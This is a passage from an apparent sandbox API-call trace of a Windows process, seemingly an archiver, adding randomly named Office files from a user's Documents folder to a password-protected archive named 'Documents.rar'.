wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0xda)) [0068.598] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.598] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14393857860) returned 1 [0068.598] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x5336, lpOverlapped=0x0) returned 1 [0068.599] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a5376, nNumberOfBytesToRead=0xfacca, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a5376*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.599] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654a0 [0068.599] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654d0 [0068.599] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b654d0, Size=0x48) returned 0x39db40 [0068.599] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.599] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654d0 [0068.599] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b654d0, Size=0x48) returned 0x39daf0 [0068.599] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.599] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.599] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654d0 [0068.599] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65500 [0068.599] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65500 | out: hHeap=0x2e0000) returned 1 [0068.599] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b654d0 | out: hHeap=0x2e0000) returned 1 [0068.599] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b654a0, Size=0x48) returned 0x39db40 [0068.599] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.599] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.599] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.600] GetTickCount () returned 0xa67706 [0068.600] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14394442671) returned 1 [0068.604] GetTickCount () returned 0xa67706 [0068.604] GetTickCount () returned 0xa67706 [0068.604] GetTickCount () returned 0xa67706 [0068.604] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.604] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.604] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.605] ResetEvent (hEvent=0x1a4) returned 1 [0068.605] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.606] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.606] ResetEvent (hEvent=0x1a4) returned 1 [0068.606] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.607] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.607] GetTickCount () returned 0xa67706 [0068.607] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14394744656) returned 1 [0068.607] GetTickCount () returned 0xa67706 [0068.607] GetTickCount () returned 0xa67706 [0068.607] GetTickCount () returned 0xa67706 [0068.607] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.607] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.607] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.607] ResetEvent (hEvent=0x190) returned 1 [0068.607] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.608] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.608] ResetEvent (hEvent=0x190) returned 1 [0068.608] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.608] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.608] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.608] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.608] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x2c4949 [0068.608] SetFilePointer (in: hFile=0x198, lDistanceToMove=96, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x2c49a9 [0068.608] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.608] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.608] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.609] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.614] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x5390, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x5390, lpOverlapped=0x0) returned 1 [0068.615] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.615] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.615] SetFilePointer (in: hFile=0x198, lDistanceToMove=2902345, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2c4949 [0068.615] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x2c4949 [0068.615] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654a0 [0068.615] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654d0 [0068.615] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b654d0, Size=0x48) returned 0x39daf0 [0068.615] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.615] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654d0 [0068.615] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b654d0, Size=0x48) returned 0x39db40 [0068.615] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.615] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.615] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654d0 [0068.615] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65500 [0068.615] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65500 | out: hHeap=0x2e0000) returned 1 [0068.615] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b654d0 | out: hHeap=0x2e0000) returned 1 [0068.615] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b654a0, Size=0x48) returned 0x39daf0 [0068.615] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.615] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x60, lpOverlapped=0x0) returned 1 [0068.615] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654a0 [0068.615] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x60) returned 0x3b649f0 [0068.615] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.615] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.615] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2c9d39 [0068.615] CloseHandle (hObject=0x1b0) returned 1 [0068.615] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.615] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.615] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.615] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.616] FindFirstFileW (in: lpFileName="s6aMY83d27.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.616] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.616] CreateFileW (lpFileName="s6aMY83d27.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\s6amy83d27.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.616] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.616] GetTickCount () returned 0xa67715 [0068.616] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.616] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.616] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.616] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.616] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="Rr-L433.pptx") returned 12 [0068.616] SetWindowTextW (hWnd=0x10280, lpString="s6aMY83d27.xlsx") returned 1 [0068.616] GetTickCount () returned 0xa67715 [0068.616] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.616] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.617] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.617] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.617] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0xe9)) [0068.617] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.617] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14395730715) returned 1 [0068.617] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x9251, lpOverlapped=0x0) returned 1 [0068.618] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a9291, nNumberOfBytesToRead=0xf6daf, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a9291*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.618] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.618] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.618] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654d0 [0068.618] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65500 [0068.618] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65500, Size=0x48) returned 0x39db40 [0068.618] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.618] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65500 [0068.618] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65500, Size=0x48) returned 0x39daf0 [0068.618] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.618] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.618] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65500 [0068.618] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65530 [0068.618] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65530 | out: hHeap=0x2e0000) returned 1 [0068.618] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65500 | out: hHeap=0x2e0000) returned 1 [0068.618] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b654d0, Size=0x48) returned 0x39db40 [0068.618] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.618] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.618] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.619] GetTickCount () returned 0xa67715 [0068.619] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14395929607) returned 1 [0068.619] GetTickCount () returned 0xa67715 [0068.619] GetTickCount () returned 0xa67715 [0068.619] GetTickCount () returned 0xa67715 [0068.619] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.619] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.619] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.620] ResetEvent (hEvent=0x1a4) returned 1 [0068.620] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.621] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.621] ResetEvent (hEvent=0x1a4) returned 1 [0068.621] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.622] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.622] GetTickCount () returned 0xa67715 [0068.622] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14396287249) returned 1 [0068.623] GetTickCount () returned 0xa67715 [0068.623] GetTickCount () returned 0xa67715 [0068.623] GetTickCount () returned 0xa67715 [0068.623] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.623] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.623] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.623] ResetEvent (hEvent=0x190) returned 1 [0068.623] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.623] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.623] ResetEvent (hEvent=0x190) returned 1 [0068.623] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.624] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.624] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.624] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.624] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x2c9d39 [0068.624] SetFilePointer (in: hFile=0x198, lDistanceToMove=99, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x2c9d9c [0068.624] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.624] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.624] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.624] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.624] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x92c0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x92c0, lpOverlapped=0x0) returned 1 [0068.625] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.625] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.625] SetFilePointer (in: hFile=0x198, lDistanceToMove=2923833, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2c9d39 [0068.625] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x2c9d39 [0068.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654d0 [0068.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65500 [0068.625] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65500, Size=0x48) returned 0x39daf0 [0068.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65500 [0068.625] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65500, Size=0x48) returned 0x39db40 [0068.625] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.625] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65500 [0068.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65530 [0068.625] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65530 | out: hHeap=0x2e0000) returned 1 [0068.625] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65500 | out: hHeap=0x2e0000) returned 1 [0068.625] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b654d0, Size=0x48) returned 0x39daf0 [0068.625] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.625] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x63, lpOverlapped=0x0) returned 1 [0068.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654d0 [0068.626] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x63) returned 0x3b64a60 [0068.626] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.626] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.626] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2d305c [0068.626] CloseHandle (hObject=0x1b0) returned 1 [0068.626] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.626] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.626] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.626] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.626] FindFirstFileW (in: lpFileName="slFg55xQ.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.626] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.626] CreateFileW (lpFileName="slFg55xQ.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\slfg55xq.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.626] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.626] GetTickCount () returned 0xa67715 [0068.626] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.626] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.626] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.626] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.626] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="s6aMY83d27.xlsx") returned 15 [0068.626] SetWindowTextW (hWnd=0x10280, lpString="slFg55xQ.pptx") returned 1 [0068.626] GetTickCount () returned 0xa67715 [0068.626] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.626] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.627] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.627] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.627] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0xf3)) [0068.627] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.627] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14396735380) returned 1 [0068.627] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x8fd4, lpOverlapped=0x0) returned 1 [0068.628] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a9014, nNumberOfBytesToRead=0xf702c, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a9014*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.628] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.628] 